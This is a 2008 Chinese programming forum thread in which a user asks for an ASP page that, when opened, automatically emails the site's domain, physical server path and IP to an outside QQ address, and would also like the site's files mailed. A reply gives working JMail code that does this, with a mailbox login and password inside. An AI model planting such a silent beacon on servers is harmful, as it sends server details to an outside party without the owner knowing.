求一个【ASP自动发email】完整的代码!(在线等)

iawqqq 2008-05-04 10:59:23
求一个【ASP自动发email】完整的代码!
可以直接上传空间用的!只改一下发送信箱就OK了!比如:我的email是 123456______qq@163 密码是:123456
需要工作的内容是
如:有个123.asp文件我把自动发email的代码放进去
然后打开123.asp页面后自动运行这个页面里的自动发email代码。
代码运行后
1代码.自动获得当前网站域名
2代码.自动获得当前网站真实域名路径
3代码.自动获得当前IP
把以上获得的信息当做email发送到423116954@qq.com信箱内!

帮我写这样的一个脚本好吗?我一直在线的。。
最好是通过我的信箱把文件全部打包发到我的信箱423116954@qq.com谢谢了!!
...全文
181 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
iuhxq 2008-05-05
  • 打赏
  • 举报
回复
anwell 2008-05-05
  • 打赏
  • 举报
回复
如果是WINDOWS2000系统,则要把实例对像写成:
Set jmail = Server.CreateObject("JMAIL.Message")   '建立发送邮件的对象

anwell 2008-05-05
  • 打赏
  • 举报
回复

<%
Dim jmail,msg

msg = "当前的域名是:"&request.servervariables("HTTP_HOST")&"<br>"
msg = msg & "当前的真实物理路径是:"&request.ServerVariables("APPL_PHYSICAL_PATH")&"<Br>"
msg = msg & "当前的客户端IP是:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
msg = msg & "当前的客户端代理IP是:(如果有的话) "&Request.ServerVariables("HTTP_X_FORWARDED_FOR")

Set jmail = CreateObject("JMAIL.Message") '建立发送邮件的对象
'jmail.silent = true '屏蔽例外错误,返回FALSE跟TRUE两值
jmail.Logging = True '记录日志
jmail.Charset = "GB2312" '邮件的文字编码
jmail.ContentType = "text/html" '邮件的格式为HTML格式或纯文本
jmail.AddRecipient "423116954@qq.com" '收件人EMAIL地址
jmail.From = "423116954@qq.com" '发件人的E-MAIL地址
jmail.FromName = "QQ" '发件人的名称
jmail.MailServerUserName = "123456______qq@163.com" '登录邮件服务器的用户名 (您的邮件地址)
jmail.MailServerPassword = "321654" '登录邮件服务器的密码 (您的邮件密码)
jmail.Subject = "发送信息测试 " '邮件的标题
jmail.Body = msg '邮件的内容
jmail.Priority = 3 '邮件的紧急程序,1 为最快,5 为最慢, 3 为默认值
jmail.Send("smtp.163.com") '执行邮件发送(通过邮件服务器地址)
jmail.Close()
set jmail = Nothing
%>
iawqqq 2008-05-04
  • 打赏
  • 举报
回复
原来走错路了
蝶恋花雨 2008-05-04
  • 打赏
  • 举报
回复
我晕。都搞.NET你来要ASP的?到WEB版块的ASP里面看看吧
iawqqq 2008-05-04
  • 打赏
  • 举报
回复
大哥快哦急死我了..忽忽
iawqqq 2008-05-04
  • 打赏
  • 举报
回复
急哟..哎
iawqqq 2008-05-04
  • 打赏
  • 举报
回复
我在ASP.NET找了好多这样的代码..但是复制到ASP里都发送不到!

62,025

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧